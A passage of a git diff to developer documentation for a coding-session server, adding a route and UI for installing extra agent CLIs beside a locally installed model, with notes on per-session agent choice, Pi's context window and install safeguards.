Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md` diff --git a/docs/api-reference.md b/docs/api-reference.md index 8dc218edd..552386f7d 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -1716,7 +1716,7 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre ## Local model -`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, where an install of one stands and which models are on the machine. Seven verbs install a model (a first one, or another one beside it), switch to a model that is already there, pause and continue a job, stop and start the model runtime, delete one model, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md). +`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, where an install of one stands and which models are on the machine. Eight verbs install a model (a first one, or another one beside it), switch to a model that is already there, pause and continue a job, stop and start the model runtime, delete one model, install one more agent CLI beside an installed model, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md). **Experimental.** These routes and their payloads are labeled experimental: the fields below, the states, the error codes and the sentences may change or go in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on their shape yet. @@ -1732,6 +1732,7 @@ Every route is admin only in multi-user mode (`403 FORBIDDEN`, answered before a | `POST` | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }` | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed), `sessions-open` (`stop` or `newPort` while live sessions use the model: their agents keep calling the address they were started with). | | `DELETE` | `/api/local-model` | `{ removeModel? }` (may be absent) | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the downloaded models (all of them) only with `removeModel: true`. With nothing installed it is what deletes the models an earlier Remove kept. `409`: `job-running`, `sessions-open`. | | `DELETE` | `/api/local-model/models` | `{ modelId }` | Deletes ONE model from the store, through the runtime. `modelId` is a model name (`name:tag`) of `install.library` whose `actions` list `delete`, never a path. `400 INVALID_INPUT` for a name that is not on this machine. `409`: `job-running`, `wrong-state` (nothing is installed), `model-active` (the model of the installation or of the current job), `runtime-not-running`. `500 OPERATION_FAILED` when the runtime did not delete it. | +| `POST` | `/api/local-model/agent` | `{ cli }` | Installs one more agent CLI beside an installed model and answers at once; the installer runs on in the server and `install.harnesses` says how it stands. `cli` is a row of `install.harnesses` whose `actions` list `install`; the server runs that row's `installCommand`, the release's own stock command, never text from the request. It is not a job: `install.state` stays `installed` whatever the installer does, sessions are not refused, and no live session is looked at. An agent that can already be started answers `200` with the view as it is. `400 INVALID_INPUT` for a CLI that is not a row of `install.harnesses`, or one that one command does not make startable (`setup-needed`). `409`: `job-running` (a job, or another agent install, is running), `wrong-state` (nothing is installed). | Every verb answers `{ success: true, data: }` with the `install` object (below) as it is after the verb. A refusal the feature names is a `409` whose envelope also carries the conflict: @@ -1786,16 +1787,17 @@ A probe that fails is an answer, not an error: a server that is not on macOS, or - `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed. A switch (`POST .../use`) is the two steps `verify` and `connect`. - `progress` (while a download runs, and as it stood on a paused or failed job): `completedBytes`, `totalBytes`, `completedGb`, `totalGb`, and while it moves `bytesPerSecond`, `mbPerSecond` (whole decimal megabytes per second as text) and `secondsLeft`. During the `model` step both byte figures come from the download's own lines, not from the catalogue. - `error` (with `failed`; with `installed` only when something blocks a session): `{ code, message: { text, vars? }, next, nextModel?, detail? }`. `next` is the ONE action that helps: `retry` (`POST .../resume`), `other-port` (`POST .../resume` or `.../runtime` with `newPort: true`), `next-model` (choose again; `nextModel` is `{ modelId, modelLabel }` when the server knows one), `start` (`POST .../runtime`) or `remove` (`DELETE`). `detail` is raw text for the curious (an installer's last lines), not translated. - - `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. `port`: the runtime's loopback port, once chosen. + - `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. With `installed`, `cli` is the DEFAULT agent CLI, the one a client that names none starts: the agent of the installation while it can be started, else the first row of `harnesses` that can. `port`: the runtime's loopback port, once chosen. - `running`: the runtime Codeman started is alive right now. A runtime the person stopped is `running: false` with no `error`. - `loaded` (with `installed`): what the runtime reported when the job checked the loaded model: `context`, `memoryBytes`, `memoryGb`, `onGpu`. - - `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli`. + - `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli` or with any row of `harnesses` that offers `start-session`. - `developerTools`: `present`, `missing` (the Mac has no Xcode or Command Line Tools, so macOS will offer to install them the first time an agent runs `git` or `python3`) or `unknown`. - `runtime`: `{ version, installed, downloadBytes, downloadGb, unpackedGb }`. `downloadBytes` is `0` once the runtime is unpacked. - `folder`: the absolute folder everything of this feature is kept in. - `library[]`: the models on this machine, the model in use first. Empty with `idle` (no runtime is there to ask). Each row: `id` (the name the runtime lists, `name:tag`), `label`, `context?` (the context it was checked with), `sizeBytes?` and `sizeGb?` (its size on disk as the runtime reports it, else as recorded when it was checked), `active` (it is the model in use), `verified` (Codeman checked it), `status` and `actions[]`. `status` is `ready`, `changed` (checked, and the runtime now reports another digest under the name), `missing` (checked, and the runtime no longer lists it) or `unverified` (the runtime lists it and Codeman never checked it: a model an earlier Remove kept, the model of a job that has not passed its check, or one another program pulled through the runtime's port). `actions` is what the server accepts for THAT row right now, out of `use` and `delete`; `delete` needs the running runtime, and a name that is not a plain `name:tag` is listed with no action. - `store?`: `{ bytes, gb }`, what the model store takes on disk (the files of its blob folder, so shared layers count once and an interrupted download is included). Present in every state once it was measured; cached for about thirty seconds. - - `actions[]`: exactly what the server accepts right now, out of `install` (with `installed`: add another model), `cancel`, `resume`, `start`, `stop`, `remove` (with `idle` only while `store` holds something), `use` and `delete-model` (only while a row of `library` offers them) and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs and nothing blocks a session). + - `harnesses[]`: the agent CLIs a session on the model in use can be started with, the default one first, then by the catalogue's rank. The agent is chosen per session: a session is started with `mode` set to a row's `cli` and `customModel: { endpointId, modelId }`. Empty in every state but `installed`. Each row: `cli`, `cliLabel`, `default` (true on the row `install.cli` names), `status`, `installCommand?` (with `installable` and `installing`: the literal command `POST .../agent` runs), `slowFirstTurn?` (the first answer takes minutes), `readyMark?` (a literal without white space that the agent's composer draws once it takes input: what a script waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt; absent for an agent with no measured mark), `error?` (`{ message, detail? }`: the last install of this agent through `POST .../agent` failed; kept in memory only) and `actions[]` (`start-session`, `install`). `status` is `ready` (it can be started, the answer the Run menu gets), `installable` (not on this machine, and `POST .../agent` installs it), `installing` (that install is running; the model stays as it is) or `setup-needed` (not startable, and one command does not make it so: DeepSeek Harness without a terminal profile, or a command that needs an administrator; set it up from the Run menu or a terminal). + - `actions[]`: exactly what the server accepts right now, out of `install` (with `installed`: add another model), `cancel`, `resume`, `start`, `stop`, `remove` (with `idle` only while `store` holds something), `use` and `delete-model` (only while a row of `library` offers them), `install-agent` (only while a row of `harnesses` offers `install`) and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs, nothing blocks a session and, when `harnesses` is known, at least one agent CLI can be started). Error codes (`install.error.code`), each with one next step: diff --git a/docs/architecture-invariants.md b/docs/architecture-invariants.md index e17d63da3..dcd91b0cd 100644 --- a/docs/architecture-invariants.md +++ b/docs/architecture-invariants.md @@ -714,6 +714,8 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse **The coding agent** is installed by `runInstallCommand()` of `src/cli-install-runner.ts`, the runner extracted from `cli-registry-routes.ts` (whose route keeps its behaviour and re-exports `installEnv`/`npmGlobalPrefixWritable` for its tests). ⚠️ The job runs only `stockInstallCommand(id)`, read from the COMPILED `STOCK_CLIS`, never the registry merged with `clis.json` (the route's own command still comes from the merged registry, behind its `cliManagementEnabled` gate): this path has no such gate, so an override file must not be able to change what it runs. `HarnessFact.installCommand` is that same string, which is what the consent screen prints. ⚠️ Only for a harness row of the catalogue, only after the consent click, admin only, audited (`cli_install` with `via: 'local-model'`). ⚠️ ONE install slot per CLI id (`tryBeginCliInstall()`), shared by the route and the job. ⚠️ After the installer, successful or not, the resolver caches are forgotten (`forgetResolvedCli()`) and the binary is looked for again: a pre-install miss is negative-cached for up to five minutes, and "Start a session" would otherwise answer "not installed". Still missing is `harness-failed`; found is success whatever the exit code. The runner takes an abort signal that kills the installer's process GROUP. +**The coding agent is chosen per session.** The launch check (`launchRefusalMessage()`) asks about the endpoint and the model, never about the agent, so any CLI with a custom model recipe could always be started on `local-ollama` from the Run menu. What the feature adds is the list: `install.harnesses` (`buildHarnessRows()`, pure) is every catalogue harness that is not gated, has a `HarnessFact`, works at the model's context and accepts its name, each `ready`, `installable`, `installing` or `setup-needed`. ⚠️ `install.cli` stays the DEFAULT agent for a client that names none (the 1.50.0 skill reads only that field): the agent of the installation while it can be started, else the first row that can, so it never names an agent that is gone while another is there. ⚠️ `start-session` is listed only while a row is `ready`, once the rows are known; rows that could not be built (the registry threw) are "unknown", never "none", and a session is still offered. ⚠️ A LAUNCHER (`discovery.launcherProfile`, DeepSeek Harness) is never `installable`: its stock command installs the launcher and leaves it with nothing to launch, and the profile it needs is third-party code behind the privileged grant of `POST /api/deepseek/install-profile`. The rule reads the entry's data, never its id, and such an agent is offered only once the Run menu can start it. ⚠️ `POST /api/local-model/agent` (`installAgent()`) is NOT a job and NOT an event of the reducer: a job would put a working model into `failed` on an `npm` error and refuse every session until it was cleared. It runs `installCodingAgent()`, the function the `agent` step runs (same slot, same compiled command, same audit line), in the background; the state file never hears of it, the outcome lives in memory (`agentInstall`, `agentFailures`), one installer at a time, and `shutdown()` aborts it. A harness row may carry `readyMark` (a literal the composer draws once it takes input, for a script's `wait-output`): only a MEASURED mark goes there, the registry's `composerReadyMark` stands in when the row has none, and Pi has none on purpose (its composer rules are painted before it takes Enter, measured on 1.5.2). + **The connection** (`connect.ts`): one record `{ id: 'local-ollama', label: 'This Mac', baseUrl, authStyle: 'bearer', models: [], defaultModelId, defaultContextLength: }`, validated by `CustomModelHostSchema` and written through `mutateCustomModelHosts()`, then `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, with the flag's previous value kept in the state file (a second connect must hand the FIRST value back, or Remove could never switch the flag off again). ⚠️ `defaultContextLength` is load-bearing: the runtime's model listing states no context, so this field is what reaches the coding agent as its limit. ⚠️ The id is reserved: `POST /api/model-endpoints` refuses it, and a record with it that this feature did not write is never overwritten (`endpoint-id-taken`). ⚠️ While the state file records the connection, the record is MANAGED (`isManagedLocalEndpoint()`): `PUT`/`DELETE /api/model-endpoints/local-ollama` are refused, discover answers the stored list without a request, and the sweep skips it, so a model somebody pulled through the port never becomes launchable and the URL never leaves the supervised port. A hand-made record with that id (no state) stays an ordinary endpoint. `local-model.json` is not a config-backup file while the endpoint store and the settings are, so a restore can take the record away under an installed model: `boot()` puts the RECORD back when it is gone (`ensureLocalEndpoint()`, never replacing one that is there) and leaves the settings flag as it finds it. ⚠️ The runtime's port has NO authentication, and its CORS allowlist always admits `localhost` origins: any local process or localhost page can pull, create or delete models there. That is the reason for the three rules above and for the digest. **The digest** `/api/tags` reported after the check is stored. ⚠️ Before a session starts on the managed endpoint (`LocalModelService.launchRefusalMessage()`, asked by BOTH launch paths in `session-routes.ts`: `POST /api/sessions/:id/custom-model` and the quick-start `customModel` branch, before anything is written or created) and at boot it is read again: a different digest, a model that is gone, a runtime Codeman did not start, or a model id other than the installed one refuses the launch with one sentence. The view shows what blocks a session as `error` while the state stays `installed`; it is found live and never stored. Boot recovery of an already running session (`_rebuildCustomModelEnv`) is not guarded: the pane exists and keeps its environment. @@ -732,7 +734,7 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse **The endpoint store's writer** (`src/custom-model-hosts-writer.ts`): `mutateCustomModelHosts(fn)` is the shape of `mutateSettingsFile()`: one promise chain, a random temp name, a refusal (409) to write over a file that does not parse. ⚠️ EVERY writer of `custom-model-hosts.json` goes through it: the four endpoint routes, the sweep and the connect step (`test/custom-model-hosts-writer.test.ts` fails a `writeCustomModelHosts()` call anywhere else in `src/`). The routes used to read, change and write on their own through one shared temp name, so two creates sent together lost a record or failed, and a file that did not parse was read as `[]` and replaced by one record, with every other endpoint's API key gone. ⚠️ A route's check runs INSIDE the callback, and discover splices onto the record as it is after the probe, not the copy read before it. -Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event, the library rows), `test/local-model-install-service.test.ts` (the three library verbs and the two caches included), `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime: install A, add B, switch back, delete B), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`. +Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event, the library rows), `test/local-model-install-service.test.ts` (the three library verbs, the agent install and the two caches included), `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime: install A, add B, switch back, delete B), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`. ### Approvals Inbox diff --git a/docs/custom-model-endpoints.md b/docs/custom-model-endpoints.md index 31f5de007..187bf5f07 100644 --- a/docs/custom-model-endpoints.md +++ b/docs/custom-model-endpoints.md @@ -578,6 +578,13 @@ automatically). Results: - **Claude, opencode, Pi, Grok, OMP** — verified: a real "hello world" reply came back through the endpoint. + Pi's model entry carries the endpoint's context length when one is known + (`contextWindow`, the full window, and `maxTokens`, a quarter of it and + 8,192 at most). Without it Pi takes an unknown model for a 128,000-token + one (its footer reads `/128k`) and asks for 16,384 reply tokens, so on a + smaller window it never compacts before the server's real window is full. + Measured on pi 1.5.2: with both fields `pi --list-models` shows the window + and the request carries `max_tokens: 8192`. - **Codex** — the config is structurally correct, and against a llama-swap server that DOES answer `/v1/responses` (confirmed live: a plain, no-tool-call chat turn returned a real reply), the picture is more diff --git a/docs/local-models.md b/docs/local-models.md index 1b412904c..e6f1f58dd 100644 --- a/docs/local-models.md +++ b/docs/local-models.md @@ -210,6 +210,62 @@ This step does not need the `cliManagementEnabled` setting. That setting gates t CLI management surface; this path can only ever run one vetted command for one catalogue row. +### Which coding agents, and what each was measured with + +The coding agent is chosen **per session**. An installed model lists every agent it can be +run with (`install.harnesses` of the GET), and the window shows them as chips under "Start a +session with": the agent the model was installed with is the default, and the choice is +remembered on the device. The launch check asks about the endpoint and the model, never about +the agent, so a session with one agent and a session with another run on the same model. + +| Agent | First request (its fixed prompt) | Installed from the window | What was seen, and where | +| ---------------- | ------------------------------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | +| OpenCode | about 8,100 tokens, 11 tools (v1.19.5; more with user-level skills) | yes | A tool round trip on a Mac with a real model (the catalogue's tested entry), and on a scripted endpoint for v1.19.5 | +| Claude Code | about 36,000 tokens, so the first answer takes minutes | yes | Shipped in 1.50.0; not measured again for this table | +| Pi | 2,096 tokens, 4 tools (v1.5.2) | yes | A complete tool round trip against a real model: tool call, tool result, final answer, the file on disk | +| DeepSeek Harness | about 7,650 tokens, 25 tools (0.1.1-rc.2) | **no** | A tool round trip on a scripted endpoint only. Against a real model the launch and the model name reached the runtime, and no turn finished | + +How to read the last column: the runs of 2026-11-10 were made on **Linux**, through Codeman's +own custom model launch, against Ollama 0.13.0 with a 1.7B model on a CPU ("a real model") or +against a scripted endpoint that replays that runtime's stream of a tool call. A scripted run +proves the agent's side of the protocol, not what a model does with its prompt. None of them +ran on a Mac or on the pinned runtime. Every agent sent the `name:tag` model name unchanged. + +Three things follow from how the agents differ: + +- **Pi is told the model's window.** Without it Pi takes an unknown model for a + 128,000-token one and never compacts before the real window is full. Codeman now writes the + endpoint's context length into the model list it gives Pi (the custom model feature as a + whole, not only this window). Two things remain: a custom model session gives Pi a home + directory of its own, so Pi fetches its two search tools again at every start (it needs the + network for that; `PI_OFFLINE=1` skips it), and Pi asks "Trust project + folder?" in every such session when a folder above the working directory holds agent + skills, because the answer is stored in the home it does not keep. +- **DeepSeek Harness is a launcher.** `dsh` starts nothing by itself: a session needs a + terminal profile, which is third-party code with its own consent in the Run menu. Its + install command installs the launcher only, so this window never installs it. It is listed + as "Needs setup" until the Run menu can start it, and as a normal agent from then on. It is + the one agent of the four besides Claude Code that reports the end of a turn. Its custom + endpoint recipe itself was verified with a real model on a llama.cpp server + ([custom-model-endpoints.md](custom-model-endpoints.md)); what is missing is a finished turn + on this feature's runtime. +- **OpenCode and DeepSeek Harness send a second, small request** beside the first prompt (a + title, a side question). The runtime answers one request at a time, so it queues. + +### Installing one more agent beside an installed model + +An agent that is not on the Mac has "Not installed" on its chip. Selecting it shows the +literal install command, and the main button becomes "Install ". That click is the +consent; `POST /api/local-model/agent` then runs the same stock command under the same rules +as the `agent` step above (catalogue row only, compiled command only, admin only, audited, +one installer at a time). + +It is **not a job**. The state stays `installed` whatever the installer does: the model stays +loaded, sessions are not refused, and a session with another agent can be started while it +runs. A failed install shows the sentence and the installer's last lines under the chip, and +leaves everything else as it was. The outcome is kept in memory only, so a restart of the +server forgets a failure (the chip then simply says "Not installed" again). + ### The connection Two writes outside the local model folder, both undone by Remove: @@ -244,7 +300,7 @@ Switching the setting on also starts that five-minute sweep for every other save ## Starting a session -"Start a session" starts the coding agent on the endpoint `local-ollama` through the +"Start a session" starts the selected coding agent on the endpoint `local-ollama` through the existing custom model launch. Before a coding agent is STARTED on that endpoint the server checks, in this order: @@ -274,7 +330,7 @@ lets an agent in a Codeman session hand work to this model, so Claude in the clo reviews while the model on this Mac does the bulk: summaries, classification, first drafts, and files that should not leave the machine. `local_model` reads `GET /api/local-model` and says what is installed or why nothing can run; `spawn_worker local` starts the runtime when it was -stopped (as Start does), then starts the installed coding agent on `local-ollama` through the same +stopped (as Start does), then starts the default coding agent (`install.cli`) on `local-ollama` through the same quick-start launch and the same checks as above; `sendmark` gives the worker a task and reads its answer back from a file it writes in its own folder. The skill never installs a model and never answers a confirmation, the runtime still answers one request at a time, and while a worker it @@ -312,8 +368,9 @@ and measures the store at most every thirty, never on every poll. the runtime is restarted with the context the model was checked with, the model is loaded and checked again (the tiny chat, the GPU, the tool probe), its digest must still be the stored one (else the switch fails with `model-changed` before the model is loaded), and - the endpoint record is rewritten. The coding agent is the one the model was checked with - when it is still installed, else the one of the installation. + the endpoint record is rewritten. The default coding agent becomes the one the model was + checked with when it is still installed, else the one of the installation, else any other + agent that is on the Mac and can run the model. - **Delete** removes one model through the runtime's own delete, after one question in the row. The request carries the model's name, never a path, and the server deletes only a name of its own listing. The model in use cannot be deleted: switch first, or Remove. It diff --git a/src/web/CLAUDE.md b/src/web/CLAUDE.md index fd47f9569..68aa94654 100644 --- a/src/web/CLAUDE.md +++ b/src/web/CLAUDE.md @@ -48,7 +48,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L **Opened outside Codeman** (`foreign-sessions.js`, both home screens): the tmux sessions a human started, listed from `GET /api/mux/foreign` (root CLAUDE.md, Adopted tmux sessions). ONE renderer, `renderForeignSessions(container)`, fills the welcome block and the phone overview's, and every row goes through `textContent`, since a session name and a command line come from someone else's process. ⚠️ It polls only while a home screen is up (`startForeignPolling`/`stopForeignPolling` from `showWelcome()`/`hideWelcome()`) and the tab is visible (`_foreignPollTick()` is the one gate, and `visibilitychange` catches up; the cache TTL sits under the poll interval, so one tab's every tick is a full socket sweep), and the poll is local only: the docker and ssh scan costs one connection per target, so it runs once on the toggle and again on Rescan, and its rows and notes are kept apart (`_foreignWideSessions`, `_foreignWideNotes`) or the next local poll would wipe them. ⚠️ A 403 is a non-admin in multi-user mode, an answer and not a failed poll: `_foreignRefused` stops the polling and shows no block. ⚠️ `closeSession()` re-reads the list after an adopted tab's DELETE, since the home screen's own load races it and the row would say `Go to tab` until the next poll. ⚠️ An adopted tab has no kill outcome to offer, so the close dialog hides the red button and always tears the wrapper down. ⚠️ `session.remote` and `session.docker` are undefined on an adopted session, so a check that hides a row for those two usually needs `session.adopt` as well. Tests: `test/foreign-sessions-ui.test.ts`, `test/foreign-sessions-i18n.test.ts` (harvests every string from the real module). -**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to dark ink on the light skins, blue the context, green good, amber tight, orange slow, rose the brief peaks, deeper on the light skins), never `--accent`, which the owner rejected as too much blue (about 3:1 against the window, so the free part can be seen; a border token is 1.5:1 and the inputs' `--bg-input` is the window's own surface on the dark skins), 10px, no gradient or glow, and its width transition is the only motion (off under `prefers-reduced-motion`); a repaint starts each bar at the last width of its kind, so keep `_settleLocalModelBars()` after every body write. The figure beside it is an estimate and says "about" in whole GB (`localModelWholeGb()` on the server's text); only the download figure keeps tabular figures. ⚠️ The rows are the server's pick first, then the other models by download size, largest first (`localModelCandidates()`): the server's alternatives are its ranking, which no column shows. ⚠️ The download bar means ONE thing, the model download: at the start while the runtime is fetched, gone once the model is in (the step list carries verify, agent and connect); the first paint after an install finished shows "Start a session" alone (`justInstalled`), an error on an installed model is the headline with a grey dot, and Remove is quiet everywhere but red in its own question, never the accent. ⚠️ The window polls the GET once a second WHILE OPEN and never otherwise (no SSE event): `closeLocalModelWindow()` clears the timer, a background tab asks nothing, an unchanged answer repaints nothing, and a tick that moved only the download replaces `.lm-meter` alone, so a button is never swapped out under a click. A read that was already under way when a verb answered is dropped (`_localModelVerbs`), or the old state flashes back. ⚠️ The consent is bound to the size shown: the install request carries the row's `installBytes` as `acknowledgedBytes`, and a 409 `size-changed` shows `expectedGb` and sends `expectedBytes` next; never compute a total here. ⚠️ A button exists only for an action in `install.actions`, and after an error exactly one helpful action (`error.next`, already adapted by the server to the state: `start` on an installed model, `retry` on a job) plus a quiet Remove; an error's text is split after its first sentence (`localModelSentences()`, which knows the ideographic full stop) and only that sentence is the headline. A refusal the server names (a 400, a full disk) carries `data.message` like a 409 and is printed from it, never from the English `error` text. ⚠️ Every dynamic string goes in through `textContent` (model, coding agent and chip names, an error's detail, session names, the folder and the install command are someone else's text); the window body, the button and the row carry `data-i18n-skip` and the module translates its own sentences at render time, so a language or display-name change repaints from the module (the `` observer). ⚠️ Labels and sentences come from the payload (`{ text, vars }` through `localModelT`); the module holds no list of models or coding agents, compares no CLI id (the agent select's values are positions in the server's list, the id travels only as data into the install request and `selectCustomModelEntry`) and never contains the word "Recommended". ⚠️ `test/local-model-i18n.test.ts` harvests every `localModelT('...')` literal: a new string is a single-quoted literal with no apostrophe and gets a zh-CN entry, the only non-literal calls are the two payload ones, and a unit alone (`23.1 GB`) is not a translator call. ⚠️ Sizes are printed as sent (decimal GB text), bytes are never turned into a size; the installed memory alone is `memClassGb`. ⚠️ The model list is a real radio group (`role="radiogroup"`, roving `tabindex`, arrows, Home, End, the focus follows through the repaint's own focus restore, keyed by `data-lm-key`); the columns line up through `subgrid` with a fixed-track `@supports` fallback, and under 560px a row is two lines (mobile.css). ⚠️ The window has its OWN `FocusTrap` (`_localModelFocusTrap`, never `activeFocusTrap`: it opens on top of App Settings) and app.js claims its Escape before `closeAllPanels()`. ⚠️ Its buttons are the Git worktrees dialog's `.wt-btn` set, never `.btn-toolbar`: the skin block greys `.btn-toolbar.btn-primary` and the phone block pins every `.btn-toolbar` to 26px with `!important`. ⚠️ "Start a session" re-reads the settings and the CLI list first (`loadAppSettingsFromServer`, `loadCliListForSettings`: the server switched the endpoints flag on and may have installed the agent a moment ago), then calls the existing `selectCustomModelEntry(install.cli, install.endpointId)`. The button ships `hidden` and shows only once the server answered for a Mac ("Local model" once one is installed); button AND Settings group stay hidden for `not-macos`, for a refusal and while the first request is in flight; refused means `403` with `errorCode: FORBIDDEN` (the auth layer's `403 PASSWORD_CHANGE_REQUIRED` is a failed request, asked again on `codeman:me`). Remove asks first and deletes the downloaded model unless the box is cleared (nothing else in the UI can free that space later). Not on the phone overview. Tests: `test/local-model-ui.test.ts`, `test/local-model-i18n.test.ts`, and `test/local-model-ui.browser.test.ts` (real Chromium, not in the gate: the columns, the two-line phone rows, the long list that scrolls from its top); the visual walk is a scratch Playwright script, not a test. +**Run a model on this Mac** (`local-model-ui.js`; welcome button `#welcomeLocalModelBtn`, chooser window `#localModelModal`, App Settings > Models row `#localModelSettings`; server rules in the root CLAUDE.md, Local model): ONE window does everything (choose, confirm, progress, paused, failed, installed, no recommendation); the button and the Settings row only open it. ⚠️ The models on this Mac (`install.library`) are ONE list builder, `_localModelLibraryEl()`: on the installed screen always (the model in use first, in the chooser's selected look, each row with the context it was checked with, a state tag and its size on disk), on a paused or failed screen only when a row offers something (the way back to an earlier model), never on the screen that ends an install. A row has "Use" and "Delete" only for what the server lists for THAT row (`row.actions`); Use is a switch with no confirm screen (nothing is downloaded), Delete asks once in place under its row (`.lm-lib-ask`, the one red button, the focus on Cancel), and the asked row keeps its buttons unseen (`.lm-lib-actions-away`) so the sizes do not jump sideways. Under the list: what all downloads take (`install.store`) and "Add a model", which opens the chooser from an installed model; there a row with `candidate.library` says "In use" or "On this Mac" and the main button becomes a disabled "In use" or "Use this model". With nothing installed and a store an earlier Remove kept, the chooser and the nothing-fits screen say what it takes and offer "Delete them" (`_localModelStoreEl()`). ⚠️ A screen that carries the list sets `data-long` on the body, which switches it from the centred short-screen layout (bottom-aligned on a phone) to top-aligned: a centred flex column that overflows cuts off its first lines. ⚠️ The row buttons live in `.lm-lib-actions`, not `.lm-buttons` (the screen's own buttons in the foot), and are a size smaller (`.lm-btn-row`). ⚠️ A job whose steps hold no `model` step is a switch (`localModelIsSwitch()`) and is named one ("Switching to", no download bar). Which screen shows follows `install.state` of `GET /api/local-model`; the page itself holds only the selection and whether the person is on the chooser or the confirm screen. ⚠️ The window is ONE frame for the whole flow: a fixed height on desktop (`.modal-content.local-model-window`), App Settings' boxed close button, the body scrolling between the header and a foot of its own (`#localModelWindowFoot`): every screen's last part (`.lm-foot`, or the `.lm-remove` question) is moved there by `_renderLocalModelWindow()`, so a button never moves away from under the pointer and is never clipped; a test that looks for a button looks in the frame, not the body. The short screens are centred in that frame on desktop and sit above the buttons on a phone (`data-screen` on the body). ⚠️ The memory bar (`.lm-bar`, `role="meter"`) is the one strong element: filled to the selected row's `budgetShare`, the model at its PEAK (the legend says so, and the installed line uses the same words beside what the model takes now, so the two figures are never read as a contradiction), the memory map (`Candidate.memory`: the model, its context and the brief peaks side by side, each named in the legend, on a track of `--text-muted` at about a third) in the feature's own colours (`--lm-*`: white for the feature, turned over to 